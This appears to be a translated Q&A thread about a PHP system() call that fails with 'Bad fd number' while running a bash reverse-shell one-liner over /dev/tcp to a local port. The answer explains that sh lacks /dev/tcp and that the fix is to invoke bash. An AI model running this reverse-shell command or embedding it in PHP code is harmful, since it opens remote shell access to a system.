php system"语法错误:错误的fd编号"

时间:2018-03-19 02:30:25

标签: php linux sh

当我执行bash -i >& /dev/tcp/127.0.01/12340 0>&1system()时,我得到:

Syntax error: Bad fd number

enter image description here

但是当我通过终端执行bash -i >& /dev/tcp/127.0.01/12340 0>&1时没有错误。

enter image description here

我该如何解决?

1 个答案:

答案 0 :(得分:1)

/dev/tcpbash的一项功能,但是在PHP脚本的第一个屏幕截图中,您使用的是sh

解决方案是实际使用bash,就像在本地终端中一样。